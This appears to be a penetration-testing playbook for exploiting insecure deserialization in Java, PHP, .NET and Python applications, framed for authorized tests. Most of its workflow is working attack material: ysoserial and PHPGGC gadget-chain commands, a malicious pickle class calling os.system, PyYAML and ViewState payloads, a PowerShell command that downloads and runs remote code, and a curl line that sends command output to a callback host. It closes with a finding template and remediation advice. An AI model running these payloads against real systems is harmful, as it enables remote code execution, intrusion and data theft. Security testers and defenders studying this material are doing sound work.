--- name: exploiting-insecure-deserialization description: Identifying and exploiting insecure deserialization vulnerabilities in Java, PHP, Python, and .NET applications to achieve remote code execution during authorized penetration tests. domain: cybersecurity subdomain: web-application-security tags: - penetration-testing - deserialization - rce - owasp - web-security - ysoserial version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 --- # Exploiting Insecure Deserialization ## When to Use - During authorized penetration tests when applications process serialized data (cookies, API parameters, message queues) - When identifying Java serialization markers (`ac ed 00 05` / `rO0AB`) in HTTP traffic - For testing PHP applications that use `unserialize()` on user-controlled input - When evaluating .NET applications using `BinaryFormatter`, `ObjectStateFormatter`, or `ViewState` - During security assessments of applications using pickle (Python), Marshal (Ruby), or YAML deserialization ## Prerequisites - **Authorization**: Written penetration testing agreement with RCE testing scope - **ysoserial**: Java deserialization exploit tool (`git clone https://github.com/frohoff/ysoserial.git`) - **ysoserial.net**: .NET deserialization exploit tool (`git clone https://github.com/pwntester/ysoserial.net.git`) - **PHPGGC**: PHP deserialization gadget chain generator (`git clone https://github.com/ambionics/phpggc.git`) - **Burp Suite Professional**: With Java Deserialization Scanner extension - **Java Runtime**: For running ysoserial - **Collaborator/interactsh**: For out-of-band confirmation of code execution ## Workflow ### Step 1: Identify Serialized Data in Application Traffic Detect serialized objects in HTTP parameters, cookies, and headers. ```bash # Java serialization markers # Binary: starts with 0xACED0005 # Base64: starts with rO0AB # Gzip+Base64: starts with H4sIAAAAAAAA # Search Burp proxy history for serialization signatures # In Burp: Proxy > HTTP History > Search > "rO0AB" # Check cookies and parameters for Base64-encoded serialized data echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head # PHP serialization format # Looks like: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";} # a:2:{i:0;s:5:"hello";i:1;s:5:"world";} # .NET ViewState # __VIEWSTATE parameter in ASP.NET forms # Starts with /wEP... (base64) # Python pickle # Base64 encoded pickle objects in cookies or API parameters # Binary starts with 0x80 (protocol version) # Common locations to check: # - Session cookies # - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION) # - API request/response bodies # - WebSocket messages # - Message queue payloads (JMS, RabbitMQ, Redis) # - Cache entries (Memcached, Redis) ``` ### Step 2: Test Java Deserialization with ysoserial Generate deserialization payloads for Java applications. ```bash # List available gadget chains java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w" # Generate DNS callback payload for detection (safest test) java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0 # Test with Burp Collaborator # Replace serialized cookie/parameter with generated payload # Check Collaborator for DNS/HTTP callbacks # Generate RCE payloads with common gadget chains # CommonsCollections (very common in Java apps) java -jar ysoserial.jar CommonsCollections1 "curl http://abc123.oast.fun/rce" | base64 -w0 java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0 java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0 # Spring Framework gadget java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0 # Hibernate gadget java -jar ysoserial.jar Hibernate1 "curl http://abc123.oast.fun/hibernate" | base64 -w0 # Send payload via curl PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0) curl -s -X POST \ -b "session=$PAYLOAD" \ "https://target.example.com/dashboard" ``` ### Step 3: Test PHP Deserialization with PHPGGC Generate PHP gadget chains for common frameworks. ```bash # List available PHP gadget chains ./phpggc -l # Generate payloads for common PHP frameworks # Laravel RCE ./phpggc Laravel/RCE1 system "id" -b ./phpggc Laravel/RCE5 system "whoami" -b # Symfony RCE ./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b # WordPress (via Guzzle) ./phpggc Guzzle/RCE1 system "id" -b # Monolog RCE ./phpggc Monolog/RCE1 system "id" -b # Test by injecting into cookie or parameter PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b) curl -s -b "serialized_data=$PAYLOAD" \ "https://target.example.com/dashboard" # PHP object injection via manipulated serialized string # Original: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";} # Modified: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";} # Test for type juggling with PHP unserialize # Change string to integer: s:4:"role" -> i:1 ``` ### Step 4: Test .NET Deserialization Assess ViewState and other .NET serialization vectors. ```bash # Analyze .NET ViewState # Check if ViewState MAC is enabled # Unprotected ViewState starts with /wE and can be decoded # Using ysoserial.net for .NET payloads # (Run on Windows or via Mono on Linux) ./ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \ -c "curl http://abc123.oast.fun/dotnet-rce" -o base64 ./ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \ -c "whoami" -o base64 # Test ViewState deserialization # If __VIEWSTATEMAC is disabled or machine key is known: ./ysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \ -c "powershell -c IEX(curl http://abc123.oast.fun/ps)" -o base64 # Insert payload into __VIEWSTATE parameter and submit form # Check for .NET remoting endpoints curl -s "https://target.example.com/remoting/service.rem" # BinaryFormatter in API endpoints # Look for Content-Type: application/octet-stream # or application/x-msbin headers ``` ### Step 5: Test Python Pickle Deserialization Exploit pickle-based deserialization in Python applications. ```python # Generate malicious pickle payload import pickle import base64 import os class Exploit: def __reduce__(self): return (os.system, ('curl http://abc123.oast.fun/pickle-rce',)) payload = base64.b64encode(pickle.dumps(Exploit())).decode() print(f"Pickle payload: {payload}") # Alternative: Use pickletools for analysis import pickletools pickletools.dis(pickle.dumps(Exploit())) ``` ```bash # Send pickle payload PAYLOAD=$(python3 -c " import pickle, base64, os class E: def __reduce__(self): return (os.system, ('curl http://abc123.oast.fun/pickle',)) print(base64.b64encode(pickle.dumps(E())).decode()) ") curl -s -X POST \ -H "Content-Type: application/octet-stream" \ -d "$PAYLOAD" \ "https://target.example.com/api/import" # Check for YAML deserialization (PyYAML) # Payload: !!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml'] curl -s -X POST \ -H "Content-Type: application/x-yaml" \ -d "!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']" \ "https://target.example.com/api/config" ``` ### Step 6: Confirm Exploitation and Document Impact Validate successful deserialization attacks and document the impact chain. ```bash # Confirm RCE with out-of-band callback # Check interactsh/Collaborator for: # 1. DNS resolution of your callback domain # 2. HTTP request with command output # 3. Timing-based confirmation (sleep commands) # If blind, use timing-based confirmation # Java: Thread.sleep(10000) java -jar ysoserial.jar CommonsCollections5 "sleep 10" | base64 -w0 # Measure if response takes ~10 seconds longer # Exfiltrate system info (authorized testing only) java -jar ysoserial.jar CommonsCollections5 \ "curl http://abc123.oast.fun/\$(whoami)" | base64 -w0 # Document the gadget chain and affected library versions # Check target classpath for vulnerable libraries: # - commons-collections 3.x / 4.0 # - spring-core # - hibernate-core # - groovy ``` ## Key Concepts | Concept | Description | |---------|-------------| | **Serialization** | Converting an object into a byte stream for storage or transmission | | **Deserialization** | Reconstructing an object from a byte stream, potentially executing code | | **Gadget Chain** | A sequence of existing class methods chained together to achieve arbitrary code execution | | **Magic Methods** | Special methods called automatically during deserialization (`__wakeup`, `__destruct` in PHP, `readObject` in Java) | | **ViewState** | ASP.NET mechanism for persisting page state, often containing serialized objects | | **Pickle** | Python's native serialization format, inherently unsafe for untrusted data | | **URLDNS Gadget** | A Java gadget that triggers DNS lookup, useful for safe deserialization detection | ## Tools & Systems | Tool | Purpose | |------|---------| | **ysoserial** | Java deserialization payload generator with multiple gadget chains | | **ysoserial.net** | .NET deserialization payload generator | | **PHPGGC** | PHP Generic Gadget Chains for multiple frameworks | | **Burp Java Deserialization Scanner** | Automated detection of Java deserialization vulnerabilities | | **marshalsec** | Java unmarshaller exploitation for various libraries | | **Freddy (Burp Extension)** | Detects deserialization issues in multiple languages | ## Common Scenarios ### Scenario 1: Java Session Cookie RCE A Java application stores session data as serialized objects in cookies. The `rO0AB` prefix reveals Java serialization. Using ysoserial with CommonsCollections gadget chain achieves remote code execution. ### Scenario 2: PHP Laravel Unserialize A Laravel application passes serialized data through a hidden form field. Using PHPGGC to generate a Laravel RCE gadget chain achieves command execution when the form is submitted. ### Scenario 3: .NET ViewState Without MAC An ASP.NET application has ViewState MAC validation disabled. Using ysoserial.net to generate a malicious ViewState payload achieves code execution when the page processes the modified ViewState. ### Scenario 4: Python Pickle in Redis Cache A Python web application stores pickled objects in Redis for caching. By poisoning the cache with a malicious pickle payload, code execution is triggered when the application deserializes the cached object. ## Output Format ``` ## Insecure Deserialization Finding **Vulnerability**: Insecure Deserialization - Remote Code Execution **Severity**: Critical (CVSS 9.8) **Location**: Cookie `user_session` (Java serialized object) **OWASP Category**: A08:2021 - Software and Data Integrity Failures ### Reproduction Steps 1. Capture the `user_session` cookie value (starts with rO0AB) 2. Generate payload: java -jar ysoserial.jar CommonsCollections5 "id" 3. Base64 encode and replace the cookie value 4. Send request; command executes on the server ### Vulnerable Library - commons-collections 3.2.1 (CVE-2015-7501) - Java Runtime: OpenJDK 11.0.15 ### Confirmed Impact - Remote Code Execution as `tomcat` user - Server OS: Ubuntu 22.04 LTS - Internal network access confirmed via reverse shell - Database credentials accessible from application config ### Recommendation 1. Avoid deserializing untrusted data; use JSON or Protocol Buffers instead 2. Upgrade commons-collections to 4.1+ (patched version) 3. Implement deserialization filters (JEP 290 for Java 9+) 4. Use allowlists for permitted classes during deserialization 5. Implement integrity checks (HMAC) on serialized data before deserialization ```